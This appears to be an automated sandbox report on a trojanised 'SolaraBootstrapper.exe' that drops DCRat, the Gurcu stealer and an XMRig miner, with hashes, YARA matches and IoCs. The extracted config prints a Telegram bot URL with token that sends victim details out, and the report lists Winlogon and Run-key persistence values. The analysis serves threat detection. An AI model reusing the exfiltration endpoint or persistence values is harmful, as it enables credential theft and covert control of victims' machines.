dcrat | 1f3a8ed14dcf8dd8b4a88787b08163b9e9d65d999e61645b90c0c91b6a8f71fd

Resubmissions

21-07-2024 20:07

240721-yv23sssdjb 10

21-07-2024 19:40

240721-ydzaks1ena 10

Analysis

max time kernel
36s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21-07-2024 20:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SolaraBootstrapper.exe
Size

9.5MB
MD5

7d9b8cef5925d1a700d720743bf61865
SHA1

10321760a98c0220be157441ae0516a5003ceba3
SHA256

1f3a8ed14dcf8dd8b4a88787b08163b9e9d65d999e61645b90c0c91b6a8f71fd
SHA512

793cf9f9641cd3c79fdba67af80d4ecf4b17ba4c151cc4696504740db64aaf309caeec1497273092a825e3543109f1172648193b9ae8a15d57b1501b74d2f8a9
SSDEEP

196608:ZE7JB0tYrXLW+d7UcIxptvyUQymRDSI1WCOK5d66w:ZE9B0OjrdLK4J/n66w

Score

10^/10

dcrat gurcu xmrig execution infostealer miner persistence privilege_escalation rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7121631902:AAErn17xNWrdiucOEwhQIj8v6o5tvdffJT4/sendPhoto?chat_id=7391062786&caption=%E2%9D%95%20User%20connected%20%E2%9D%95%0A%E2%80%A2%20ID%3A%20a41ecc467eb3759f60737293cab52ce2ed05277e%0A%E2%80%A2%20Comment%3A%20br0ken%0A%0A%E2%80%A2%20User%20Name%3A%20Admin%0A%E2%80%A2%20PC%20Name%3A%20MUEOAWXB%0A%E2%80%A2%20OS%20Info%3A%20Windows%2010%20Pro%0A%0A%E2%80%A2%20IP%3A%20194.110.13.70%0A%E2%80%A2%20GEO%3A%20GB%20%2F%20London%0A%0A%E2%80%A2%20Working%20Directory%3A%20C%3A%5CRecovery%5CWindowsRE%5CSppExtComObj.ex

Signatures

DcRat 64 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

description	ioc	pid	Process
		3996	schtasks.exe
		6280	schtasks.exe
		5296	schtasks.exe
		4024	schtasks.exe
		1892	schtasks.exe
		6072	schtasks.exe
		4980	schtasks.exe
		3932	schtasks.exe
		2108	schtasks.exe
		5164	schtasks.exe
		752	schtasks.exe
		3928	schtasks.exe
		4328	schtasks.exe
		1976	schtasks.exe
File created	C:\Windows\TAPI\5b884080fd4f94		Refcrt.exe
		5104	schtasks.exe
		6748	schtasks.exe
		6868	schtasks.exe
		5592	schtasks.exe
		4456	schtasks.exe
		3304	schtasks.exe
		3516	schtasks.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation		SolaraBootstrapper.exe
		5424	schtasks.exe
		3000	schtasks.exe
		4836	schtasks.exe
		4368	schtasks.exe
		556	schtasks.exe
		1944	schtasks.exe
		216	schtasks.exe
		2052	schtasks.exe
		4948	schtasks.exe
		4908	schtasks.exe
		5332	schtasks.exe
		1924	schtasks.exe
		7048	schtasks.exe
		1004	schtasks.exe
		5696	schtasks.exe
		4384	schtasks.exe
		5500	schtasks.exe
		2856	schtasks.exe
		5828	schtasks.exe
		6872	schtasks.exe
		1784	schtasks.exe
		3016	schtasks.exe
		2564	schtasks.exe
		2268	schtasks.exe
		2532	schtasks.exe
		872	schtasks.exe
		3336	schtasks.exe
		3704	schtasks.exe
		920	schtasks.exe
		3252	schtasks.exe
		5100	schtasks.exe
		2324	schtasks.exe
		5544	schtasks.exe
		1148	schtasks.exe
		6076	schtasks.exe
		404	schtasks.exe
		6432	schtasks.exe
		3756	schtasks.exe
		388	schtasks.exe
		2732	schtasks.exe
		3692	schtasks.exe

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Modifies WinLogon for persistence 2 TTPs 14 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\", \"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\", \"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\csrss.exe\", \"C:\\Program Files (x86)\\Windows Defender\\OfficeClickToRun.exe\", \"C:\\DriversavessessionDlldhcp\\smss.exe\", \"C:\\Users\\Default\\My Documents\\csrss.exe\", \"C:\\Windows\\Panther\\actionqueue\\csrss.exe\", \"C:\\Users\\Admin\\AppData\\Local\\dwm.exe\", \"C:\\DriversavessessionDlldhcp\\Roblox.exe\""	Roblox.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\", \"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\csrss.exe\", \"C:\\Program Files (x86)\\Windows Defender\\OfficeClickToRun.exe\", \"C:\\DriversavessessionDlldhcp\\smss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\", \"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\csrss.exe\", \"C:\\Program Files (x86)\\Windows Defender\\OfficeClickToRun.exe\", \"C:\\DriversavessessionDlldhcp\\smss.exe\", \"C:\\Users\\Default\\My Documents\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\xdwdSublime Text.exe"	faildsfsdf.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\", \"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\csrss.exe\", \"C:\\Program Files (x86)\\Windows Defender\\OfficeClickToRun.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\", \"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\csrss.exe\", \"C:\\Program Files (x86)\\Windows Defender\\OfficeClickToRun.exe\", \"C:\\DriversavessessionDlldhcp\\smss.exe\", \"C:\\Users\\Default\\My Documents\\csrss.exe\", \"C:\\Windows\\Panther\\actionqueue\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\", \"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\csrss.exe\", \"C:\\Program Files (x86)\\Windows Defender\\OfficeClickToRun.exe\", \"C:\\DriversavessessionDlldhcp\\smss.exe\", \"C:\\Users\\Default\\My Documents\\csrss.exe\", \"C:\\Windows\\Panther\\actionqueue\\csrss.exe\", \"C:\\Users\\Admin\\AppData\\Local\\dwm.exe\""	Roblox.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\TAPI\\fontdrvhost.exe\", \"C:\\winNet\\wscript.exe\", \"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\", \"C:\\winNet\\csrss.exe\""	Refcrt.exe

Process spawned unexpected child process 39 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4368	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4980	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	872	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4024	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3516	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2012	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4384	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4948	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5104	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2324	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1892	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1784	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3996	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2052	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2532	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2564	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3928	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4908	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	920	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3016	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1924	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1516	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4328	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3304	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3756	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2268	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1888	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3000	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1004	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3932	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3704	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	216	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5100	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5332	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5696	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4456	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	404	2648	schtasks.exe	88
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6072	2648	schtasks.exe	88

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

DCRat payload 8 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x000900000002341e-4.dat	dcrat
behavioral1/memory/5060-19-0x0000000000400000-0x0000000000D8F000-memory.dmp	dcrat
behavioral1/files/0x000700000002347d-26.dat	dcrat
behavioral1/files/0x0007000000023485-76.dat	dcrat
behavioral1/memory/3024-77-0x0000000000400000-0x0000000000CC7000-memory.dmp	dcrat
behavioral1/memory/2344-82-0x0000000000400000-0x000000000069B000-memory.dmp	dcrat
behavioral1/files/0x000700000002348d-106.dat	dcrat
behavioral1/memory/1148-108-0x00000000004E0000-0x0000000000664000-memory.dmp	dcrat

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/6360-853-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/6360-854-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/6360-860-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/6360-859-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/6360-858-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/6360-861-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/6360-862-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/6360-1255-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 31 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5776	powershell.exe
1976	powershell.exe
4908	powershell.exe
1284	powershell.exe
2668	powershell.exe
1000	powershell.exe
4892	powershell.exe
2568	powershell.exe
6136	powershell.exe
4592	powershell.exe
5500	powershell.exe
4752	powershell.exe
3832	powershell.exe
4948	powershell.exe
5444	powershell.exe
3152	powershell.exe
6480	powershell.exe
2856	powershell.exe
4484	powershell.exe
2840	powershell.exe
4776	powershell.exe
4680	powershell.exe
3912	powershell.exe
676	powershell.exe
2392	powershell.exe
2580	powershell.exe
5348	powershell.exe
3932	powershell.exe
2460	powershell.exe
6620	powershell.exe
1032	powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

.NET Reactor proctector 3 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/files/0x000900000002341e-4.dat	net_reactor
behavioral1/memory/5060-19-0x0000000000400000-0x0000000000D8F000-memory.dmp	net_reactor
behavioral1/memory/3024-77-0x0000000000400000-0x0000000000CC7000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 11 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	SolaraBootstrapper.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	Youtube.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	Result.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	DCRatBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	Frage build.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	Refcrt.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	ComContainerbrowserRefRuntime.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	solara.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 14 IoCs

pid	Process
3024	Youtube.exe
2812	faildsfsdf.exe
2344	Result.exe
1732	DCRatBuild.exe
4568	Bloxstrap.exe
4460	SolaraBootstrapper.exe
1528	Frage build.exe
3476	solara.exe
1148	Refcrt.exe
4312	SppExtComObj.exe
3952	ComContainerbrowserRefRuntime.exe
3044	Roblox.exe
5964	backgroundTaskHost.exe
3680	Bloxstrap.exe

Loads dropped DLL 43 IoCs

pid	Process
5460	MsiExec.exe
5460	MsiExec.exe
5944	MsiExec.exe
5900	Process not Found
3712	Process not Found
5904	Process not Found
4740	Process not Found
3952	ComContainerbrowserRefRuntime.exe
5180	Process not Found
2700	Process not Found
4636	Process not Found
3044	Roblox.exe
5100	schtasks.exe
5332	schtasks.exe
5696	schtasks.exe
2852	Process not Found
2140	csc.exe
1376	WmiApSrv.exe
5704	Process not Found
5644	Process not Found
5368	csc.exe
5036	Process not Found
2864	csc.exe
6132	Process not Found
1264	Process not Found
5964	backgroundTaskHost.exe
976	Process not Found
6112	csc.exe
2392	Conhost.exe
4232	csc.exe
4052	Process not Found
4072	csc.exe
3996	Process not Found
1452	csc.exe
3448	Process not Found
3480	Process not Found
3304	csc.exe
5336	Process not Found
5496	csc.exe
4456	schtasks.exe
404	schtasks.exe
5944	MsiExec.exe
6072	schtasks.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 27 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wscript = "\"C:\\winNet\\wscript.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Program Files (x86)\\Windows Defender\\OfficeClickToRun.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\Panther\\actionqueue\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Roblox = "\"C:\\DriversavessessionDlldhcp\\Roblox.exe\""	Roblox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\Panther\\actionqueue\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwm = "\"C:\\Users\\Admin\\AppData\\Local\\dwm.exe\""	Roblox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Windows\\TAPI\\fontdrvhost.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\DriversavessessionDlldhcp\\smss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Paint = "C:\\Users\\Admin\\Music\\xdwdAdobe Illustrator.exe"	faildsfsdf.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Windows\\TAPI\\fontdrvhost.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Roblox = "\"C:\\DriversavessessionDlldhcp\\Roblox.exe\""	Roblox.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\Windows Photo Viewer\\uk-UA\\conhost.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\conhost.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\DriversavessessionDlldhcp\\smss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wscript = "\"C:\\winNet\\wscript.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\winNet\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Users\\Default\\My Documents\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwm = "\"C:\\Users\\Admin\\AppData\\Local\\dwm.exe\""	Roblox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\winNet\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Users\\Default\\My Documents\\csrss.exe\""	Refcrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Program Files (x86)\\Windows Defender\\OfficeClickToRun.exe\""	Refcrt.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
35	2948	msiexec.exe
37	2948	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
55	ipinfo.io
56	ipinfo.io
27	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	\??\c:\Windows\System32\CSCE29084BE4E2D477AA7C424D0A012143.TMP	csc.exe
